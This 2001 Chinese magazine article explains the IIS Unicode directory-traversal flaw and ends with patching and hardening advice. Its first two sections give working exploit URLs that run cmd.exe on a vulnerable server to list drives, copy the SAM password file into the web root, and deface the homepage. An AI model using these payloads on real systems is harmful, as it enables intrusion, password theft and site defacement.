中美黑客大战攻击手法分析──Unicode漏洞攻击 小淘 2001年 22期 今年5月1日至5月7日的中美黑客大战,想必已给各位留下了深刻的印象,从双方黑客公布的攻击结果来看,多数主机都是 Windows NT和Windows2000系统,这两个系统目前被利用最多的漏洞是IIS的Unicode目录遍历漏洞,据测试报告表明,目前中国有1/5的主机存在该漏洞。   #1一、 Unicode漏洞检测:   Unicode漏洞编码在中文Windows NT中为:%c1%1c(代表(0xc1- 0xc0)*0x40 + 0x1c=0x5c='/')和%c0%2f(代表(0xc0-0xc0)*0x40+0x2f =0x2f='\')。   在英文版中为%c0%af(但%c1%pc、%c0%9v、%c0%qf、%c1%8s等几个编码也可能有效)。   通过这几个编码我们可以通过在浏览器上获得有Unicode漏洞的机器文件控制权。   简单检测办法是在浏览器里面输入:http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir,如果显示:   Directory of D:\Inetpub\scripts   01-05-02 02:32a .   01-05-02 02:32a ..   00-12-18 05:50p   samples   ……   说明网站存在该漏洞,如果不显示该页面,也可能是因为Scripts目录改名了,我们可以试着输入:   http://xxx.xxx.xxx.xxx/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir,如果显示像上面一样的目录,表明存在漏洞。(例子中xxx.xxx.xxx.xxx为服务器的IP地址,如何获得这里不多说了)   如果还是示显示该页面,可用上述其它代码如:%c0%af代替%c1%1c试一试,或者你可以使用一段perl程序检测该漏洞(关于Perl程序这里不作讨论)。   #1 二、 Unicode漏洞攻击   通过Unicode漏洞可以使攻击者在浏览器执行DOS命令,如:   http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c   这条命令将使服务器列出C盘所有目录文件。   http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?+ copy+c:\winnt\repair|sam._+c:\inetpub\wwwroot\   将使服务器执行一个复制C盘WinNT目录下的sam._到wwwroot文件夹的命令(sam._保存了经过加密的Windows NT系统密码文件,如果攻击者下载了这一文件,可以在本机用工具解得用户密码)。   利用Echo命令即可通过浏览器直接更改网站的主页,如想修改c:\inetpub\wwwroot\index.asp,攻击者可以通过在浏览器的地址栏输入:   http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+echo+Your+Site+Has+Been+Hacked+ >c:\inetpub\wwwroot\index.aps   攻击者还可以利用FTP、TFTP上载木马程序及提升管理权限的程序到被攻击服务器上,也可以通过建立BAT或者ASP文件直接获得系统权限,从而控制整个系统。   #1三、如何防范Unicode编码攻击   Unicode编码漏洞最好的修补的方式是下载安装微软提供的补丁,下载地址是:   IIS4.0补丁:http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp   IIS5.0补丁:http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp   你可以通过查看winnt\system32\logfiles下的W3SVC1目录的log文件,确定是否有人利用Unicode编码漏洞攻击你的主机攻击(根据设置不同也可能在是W3SVC2或者W3SVC3目录下)。   Unicode编码漏洞给网络安全管理员配置系统的几个启示,首先在安装Windwos NT系统的时候,不要按照系统的默认目录把Windwos 安装在WinNT目录下面,把WinNT目录改名将使攻击者难于猜测命令执行目录;其次,应该把/WinNT/System32目录底下的cmd.exe和net.exe改名或者移除,这样攻击者就无法找到执行命令的文件;再者,应该把WEB服务器所有默认安装的执行目录删除,包括Samples、Scripts及Cgi-bin,这些目录如果被上传可执行文件,即可能对系统造成重大威胁,如果需要可执行目录,则自己可新建一个不与默认执行目录同名的目录;最后,网络管理员应该把系统日记文件目录移到一个更隐蔽的地方,这样攻击者就不易找到系统记录文件加以清除了。